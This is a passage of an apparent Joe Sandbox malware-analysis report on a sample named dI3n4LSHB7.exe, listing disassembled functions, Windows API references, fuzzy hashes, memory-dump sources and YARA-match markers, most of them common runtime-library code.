Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction ID: 3f7c4113f524ad2c0abd5e3f91609bb3d7c3a41f61a1f3e5b12bbd4c913db815
Opcode Fuzzy Hash: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction Fuzzy Hash: 5221D871604615EFDB20AF66DCC19EBB76CEF443A8710862BF82497291D73CED8187A4

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 04B51DB1 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: ad62378e5a4cb657ef427a22b8bffecd54b32d2b315963f5834abef0fb0ddb65
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 7121D871F01221BBDB318B2C9C84B5AB764EF417A0F150DA1ED06A72B0EA30FD01D6E4

Function 04B51464 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(04B4213F,?,04B42143,04B4C610,?,04B4213F,0041D0A0,?,04B51714,00000000,0041D0A0,00000000,00000000,04B4213F), ref: 04B51469
_free.LIBCMT ref: 04B514C6
_free.LIBCMT ref: 04B514FC
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B51714,00000000,0041D0A0,00000000,00000000,04B4213F), ref: 04B51507

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction ID: 83c9c325586f02c49b688f083690531fbb78fc7f4d2aeebf1767d39968b0b31e
Opcode Fuzzy Hash: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction Fuzzy Hash: BF11C232F012043BE7222BBCAC85F3AA659CBC1278B6456F4FD24961F0EB25AC129915

Function 004111FD Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401ED8,?,00401EDC,0040C3A9,?,00401ED8,74DEDF80,?,004114AD,00000000,74DEDF80,00000000,00000000,00401ED8), ref: 00411202
_free.LIBCMT ref: 0041125F
_free.LIBCMT ref: 00411295
SetLastError.KERNEL32(00000000,00000008,000000FF,?,004114AD,00000000,74DEDF80,00000000,00000000,00401ED8), ref: 004112A0

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction ID: cded345c8d5c530dafeb31fb37215a8dc2974a232bbf80fd36b18c5a372c037c
Opcode Fuzzy Hash: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction Fuzzy Hash: 8011A7327005002A965127B57C86EFB26698BC57B8B64037BFB15E22F1EA3D8C92411D

Function 04B515BB Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,04B4C5A5,04B52748,?,?,04B4A3C2,?,?,?,04B41353,?,04B4370E,?,?), ref: 04B515C0
_free.LIBCMT ref: 04B5161D
_free.LIBCMT ref: 04B51653
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B4A3C2,?,?,?,04B41353,?,04B4370E,?,?,?), ref: 04B5165E

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction ID: 67b24782ee60f7b0215e44da9312ff3ebd04ff82c535b599612bba0dd6aeb964
Opcode Fuzzy Hash: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction Fuzzy Hash: 6D11E536F012002BE72267BD7C85F3AA25ADBC5278BA903F5FD24921F0DB75AC119515

Function 00411354 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C33E,004124E1,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?), ref: 00411359
_free.LIBCMT ref: 004113B6
_free.LIBCMT ref: 004113EC
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004113F7

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction ID: 755f6b258ceaa8e65099160f8bc9def63f750f9b951ab46e134be7d7a93c0062
Opcode Fuzzy Hash: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction Fuzzy Hash: AD11CA317005042BA611277A6C82EEB16598BC13B8B64033BFF24821F1EA2D8C92411D

Function 04B4C07E Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,04B4C13F,?,?,0042B000,00000000,?,04B4C26A,00000004,0041EAFC,0041EAF4,0041EAFC,00000000), ref: 04B4C10E

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: fc2cc1ff71d54b07b6cac171b20c902f5989dabbeed35ce056e4c10f738151fd
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: B811E731A42221ABDB224F699C45B9D3B74EF46FA0F1241A0FE01B7380D770F90096D8

Function 04CFA1A4 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04CFA1C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04CFA1D9

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: d0d2b0819cf24f656b98bf94b3291f4e2d55ba1f49ccb1cd89c4ba89ab8a555c
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6401243A3092119FB7A42FB4BC849666B9AEB05678730023AEB18950E0FF1F7D126145

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04B5B089 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000), ref: 04B5B0A0
GetLastError.KERNEL32(?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000,00000000,?,04B58863,?), ref: 04B5B0AC

Part of subcall function 04B5B072: CloseHandle.KERNEL32(0042A930,04B5B0BC,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000,00000000), ref: 04B5B082

___initconout.LIBCMT ref: 04B5B0BC

Part of subcall function 04B5B034: CreateFileW.KERNEL32(004265E8,40000000,00000003,00000000,00000003,00000000,00000000,04B5B063,04B5AD23,00000000,?,04B5830F,00000000,00000000,00000000,00000000), ref: 04B5B047

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000), ref: 04B5B0D1

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: 54ca15ac29abb2cc356db3baf26df87052cd03596aeb9704bf31b045e8cf73b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: EFF03036901114BFCF226FA1DC08ADDBF26FF086A4F094460FE1E96130C632A961DB95

Function 0041AE22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000), ref: 0041AE39
GetLastError.KERNEL32(?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000,?,004185FC,00000000), ref: 0041AE45

Part of subcall function 0041AE0B: CloseHandle.KERNEL32(FFFFFFFE,0041AE55,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000), ref: 0041AE1B

___initconout.LIBCMT ref: 0041AE55

Part of subcall function 0041ADCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041ADFC,0041AABC,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041ADE0

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041AE6A

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: ee4a97f4c5e0560d025622a6e285d837d398bf1ce1ecb10de8e4d9e98fca97b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 26F0F836942214BBCF222F929C049CA3F26EF087A5F054025FA0985130C63689B19B9A

Function 004091F8 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409195,00000064), ref: 0040921B
RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409225
WaitForSingleObjectEx.KERNEL32(0040104A,00000000,?,00409195,00000064,?,?,?,0040104A,0042BB40), ref: 00409236
RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040923D

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction ID: 40c2fce60939aafa0776eae2e2369d18d4b8ec69fabe1ce25dfd7c9304a85116
Opcode Fuzzy Hash: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction Fuzzy Hash: 67E092B1B40234BBCB112B90FE08ACD7F24EB0CB51B458072FD0666161C77D09228BDE

Function 04CFFE46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CFFE4F
_free.LIBCMT ref: 04CFFE62
_free.LIBCMT ref: 04CFFE73
_free.LIBCMT ref: 04CFFE84

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 12f4833f8b8a1d31d6e10bc5345a735741ec32fe814f549f0ad83bf325a8db3d
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: CBE0EC71B13320AA97336F14BD40A4AFF61EBD4B143C5803AE50023271C77629539BDE

Function 04B50CAD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B50CB6

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B50CC9
_free.LIBCMT ref: 04B50CDA
_free.LIBCMT ref: 04B50CEB

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 2a638163b3dbc4a5c9aadf3cbc1385501b8d40215370a85339a438bd3f7c2bfd
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: 52E0EC79E13334AAD6366F18BD40649FF69EBD8B143C50076E83012270C7322553ABCE

Function 00410A46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410A4F

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00410A62
_free.LIBCMT ref: 00410A73
_free.LIBCMT ref: 00410A84

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction ID: 4f604ca58aada12d27b251242fa97a7c83cac521b99ee6611507b97af23f288b
Opcode Fuzzy Hash: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction Fuzzy Hash: 46E0EC71B13360AA8632AF15BD41589FFA1EFD4B543C9003BF50812631D73909939BCE

Function 0040F8ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040F97D

Strings

pow, xrefs: 0040F955, 0040F972

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction ID: a4333340e488540e58a7cc811cab45b4078f0fd2139a3ee8952107b79a1fd4b1
Opcode Fuzzy Hash: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction Fuzzy Hash: C15190B1B08601E6CB317718C9413EB6BD09B80701F64497BE495527E9EB3C8CDA9E8F

Function 04B503E4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\dI3n4LSHB7.exe, xrefs: 04B50427, 04B5042E, 04B50464

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\dI3n4LSHB7.exe
API String ID: 0-2740803753
Opcode ID: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction ID: a738876d3c2ff8ac166625f641da9be7d3e0f88f925c14354a04c58037eea498
Opcode Fuzzy Hash: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction Fuzzy Hash: 6D416671A00218AFDB21EF9DDC81AAEFBB8EFC5314B5000A6E805D7261E770AA41DB54

Function 0041017D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\dI3n4LSHB7.exe, xrefs: 004101C0, 004101C7, 004101FD

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\dI3n4LSHB7.exe
API String ID: 0-2740803753
Opcode ID: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction ID: ef1b21c86d4c641325268a2e562e5aacaa8476dc5588200f607cc18d3bf73bc2
Opcode Fuzzy Hash: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction Fuzzy Hash: A8416471E00214ABCB219B999C85AEFBBF8EFD4350B1440ABF50497251D7B99EC1CB98

Function 04B4AE47 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B4AE86
__IsNonwritableInCurrentImage.LIBCMT ref: 04B4AF3A

Strings

csm, xrefs: 04B4AF24

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: d8fea0a21baf093387e28021d95f836c02d33f5530b8aa594742145cc105e3b7
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: CA41C470A40218ABCF10DF68C884A9EBFB4EF89318F1485D5EC18AB351D735FA15DBA1

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04B4B6EC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B4B711

Strings

MOC, xrefs: 04B4B723
RCC, xrefs: 04B4B72B

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 923960378f10a42f4d89f9f1eca47e0f2ee5ca5c2c0ddb50a050844d7370f4e8
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 53415871900209AFDF15CF98C881AEEBBB5FF88314F158099FA15A7211D335F950EB50

Function 0040B485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0040B4AA

Strings

MOC, xrefs: 0040B4BC
RCC, xrefs: 0040B4C4

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 67f376c023d9800a5206fdaf198d645220277734bcfb559d46511f35e7f4eabb
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 95415871900209AFDF15DF94CD81AAEBBB5EF48308F1480AAFA1576291D3399A50DB98

Function 04CF0730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF07BB

Strings

NE]D, xrefs: 04CF0750
FEKN, xrefs: 04CF078A

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer
String ID: FEKN$NE]D
API String ID: 1385522511-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: 4a3ff25f89580d27e5092a2c1f9e2e3ab16a9b8995b014d160fc7b73ff1bc844
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
